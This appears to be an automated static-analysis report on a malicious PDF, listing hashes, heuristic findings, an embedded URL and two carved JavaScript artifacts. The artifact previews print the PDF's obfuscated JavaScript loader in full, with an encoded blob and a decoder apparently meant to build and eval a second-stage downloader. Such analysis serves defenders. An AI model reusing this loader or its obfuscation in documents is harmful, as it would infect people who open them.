Malicious PDF — malware analysis report

Static analysis result for SHA-256 59cc61dab3663af3…

MALICIOUS

PDF

2.8 KB First seen: 2026-05-11
MD5: ad6895c101120da0d8ad783220370491 SHA-1: cdf9f98fd0f54f262ba78fd7c5a70e1afb5a027a SHA-256: 59cc61dab3663af34b339b48e46bde7f579281179bfd09596303f4c6a67881bd
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_EVAL'. The 'PDF_EVAL' and 'PDF_FROMCHARCODE' heuristics suggest that the JavaScript is obfuscated and likely attempts to download and execute a second-stage payload. The presence of two extracted JavaScript files further supports this. Due to the obfuscation, the exact payload and delivery mechanism cannot be definitively determined.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('klxlerg=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/N/a Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x197 258 bytes
SHA-256: 3633146328adaecf6f464dfb31cab65506f40701baf14c13178633988ff70d97
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('klxlerg=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");
javascript_obj111612_001.js pdf-javascript-stream PDF /JS object 111612 at offset 0x269 3374 bytes
SHA-256: 10175f77e8cd43143e4154e880e57ec0d14d6dece4c960570531d36080e59b65
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
jmhpht2="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2b0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O3M0K0L242R0I3^0G2X3-000=0B2O0@2^0>3Z3d090:2[2_073P053N032S0131370,0-2`3O0*2a2c";bpjqj="A602ZBDFJcKb=gLj00C8hY7MM]]1A70SDG3CTD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?L9@==9`]`^gjU@fGKMg9e_7K]_fH7+[c:K,5P-.PC8b@VX282KbA^P=Dh9.3NV,.ZX>K6?Q:JQCN2*Eg2**.3OZ+,EGgR<?*XK8Tc2<R+4.?gJK96+_2-TK,4-^2;O`1:O:g]._Z9K96*>34W:K4Kh_3dLQ:NQ?,.[@G,CSPZJ*/2:4*.2CEGK*SAB:**2=E+<.XfIK**4:P@*2=[CV3h7C,CULZJ*/2=,J.3cGg2**.3DZ+,?_@:J*/2=[*.3h7C,CULZJ*/2<?*,.,OXK9BcV35+8K*5_R:**2<[QK,4T*:Qi1:NL_G,DCAR;bEV32R?K9.*:Q_`N3A1/K**,ZP/*2:@@W,+=,ZJ**:PVg>2cY_K*5J:J**:P+KB:@@W,+=8K***K*-P:J+^2=@H4.FAe:J>^B:**2=[B@.iPVK/HcV2**@.ZR+,*16K5JWD.-8C,D^[:MLj<.,PE,**+,@WKB=0,].**S,H2*K9SU2=7F@.**S,B>*K9-YK***K5@*2<XL].**S,H2*K9SU2=7F@.**S,<R*:J>W_3f1/K3B3_2+Ha.**,.VCc:LTJ.3jK_32W1:PP?e.Gaf,<4/B=[*.3h7C,?[[B:**V3K:,./OU:J>ZV2**.3U9/,85h2:,c.2**.3JB@./OU:J>^R:**2:*dN2*F].`QLK1/iN2/6a.**,.g@/K9SU2;Q85,**/K64*:J+^2<c5@K*^P:PVg>2cY_K*SPZJ**:OUB@.[JVK**4:JUJ,.]aA:P6^B=-6/,8OQZJ**:J**:J**:J**:J**:J**:J**:J**:QC?>3O??K8Xf2=*>.2TY>K4_fc<UJ,.eQ@K4XeV3[H/,G;;B;:O/K*,W2=VTT.Z/?K8VRV3@Q<K8U`B=V>@.?3>R=/*.3ag4.?hFK8Oa:KKJ+,@5cR<]Y/,8,::LVCV2>?UR=[@?,<SB>2CUJK*,=R:**2:^*O,*@KN2**.2]fXK9Z3:J/RC,**+,4-^2=d4i.Rdb:KP+4.*W-2:**2:]ffR:,_W,**+,+3O_3:^gK**,ZM-*,.,=5R<KQd,**/K6**K0A66K9Z3:J/RC,**+,CU-2<c]?2=8CG,IJ<K*5:].**,.GbLK5OH4.Vf4:M8W4.?A+:PD/B==4]K6b;:O`+<K*OR:K?IN2**@.O:*K+GER;ObG,D-T:J<*V3<bd,**/K9.*:M5QG,IJ<K*5:].**,._[_R:*R.2**.2**.2**.2**.2**.2**.2**.3cJ,.RCi:J*+B=8*2=I[>3DaI,@WD_3PdD.,M-2=ZGV2BC5B:,TU,EGSN3P8O,?GKB<WTb:KGUV3?`DZJ+?_3KF].U@UR;<XW,FfWK8S`R=4h@.Ub@K8GZR<W8].>*+,Gb?K/*U2:Xh@.?jC,*1C,45_R;>XS,/bYK8h::J*R2;?Hi.>,TZKE<C,G>WR=Wf2;;?C,4[?B=V>@.5Y?K8bK:Q@fR=T/W,<S`B:WS+,/bQ:QHR2<?O+,<Xc>2*<e..**H5^Bcg2:K/^+L5-HAV*1gi2836]GXWCFj7h8Mf;B:gN4a89,.2;FZBMI=S+[*DeJ**+-D2h@0gYB*9dg:h.+UOhdVFH.2:LdJ[3a-9SL-L2G`gdNaY=[,,*::JJ.+cY7MMZK,.QB6iP283CTD^IDPMaGJ^eBhNEeGY7MMZK,.A6037Lj7ZaH][+[1R7B8+Z8+[-D2-A>***Y.7VJ7G:**+VFH.2:OOR[1TdJ[/]gc`PRA=N1.+V;FY87CT/_d/g<E/iEKVhOP[/]gc`PRA=N9;e3H7+[c:K,.2ZBDFb<dHFD^>5S^GN1.QB6iP2HL=6QEU@A7MMZK,.73[c:K,5P-.D-`iV9M5cj282KbA^P=Dh9.*2gAP[[c:K,1e[TEe;e_1UhBI0A[ij7h8Mf;B;I.+UT*+HD-`iV9M5cj2HK[0JhIU-c]i9a[[c:K,7+ej@1[OgIN1.9+gj1JKe2_1UhBI0A[ia89,.2;N_^hFWFj9e`XbBBj-iW-BFW8Y@JhIU-c]i9f^Bcg2:_J";jpbtjvc=2757;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/fqbzbr/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(jmhpht2.length){fqbzbr.push((bzdrxo(jmhpht2.charCodeAt(0))<<(4+2))+bzdrxo(jmhpht2.charCodeAt(1))-(500+12));jmhpht2=jmhpht2.slice(2,jmhpht2.length)}emcwx=kwynel1=jmhpht2=0;hudmclk='';function bzdrxo(ymizau){if(ymizau>92)ymizau--;return ymizau-42}function hpxskok(){if(jmhpht2==0){kwynel1=bzdrxo(bpjqj.charCodeAt(emcwx++));jmhpht2=6;}return ((kwynel1>>--jmhpht2)&0x01);}/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(jpbtjvc--){i=0;while(fqbzbr[i]<0){if(hpxskok())i=-fqbzbr[i];else i++;}hudmclk+=String.fromCharCode(fqbzbr[i]);}

Open this report in the interactive analyzer, or submit your own file for analysis.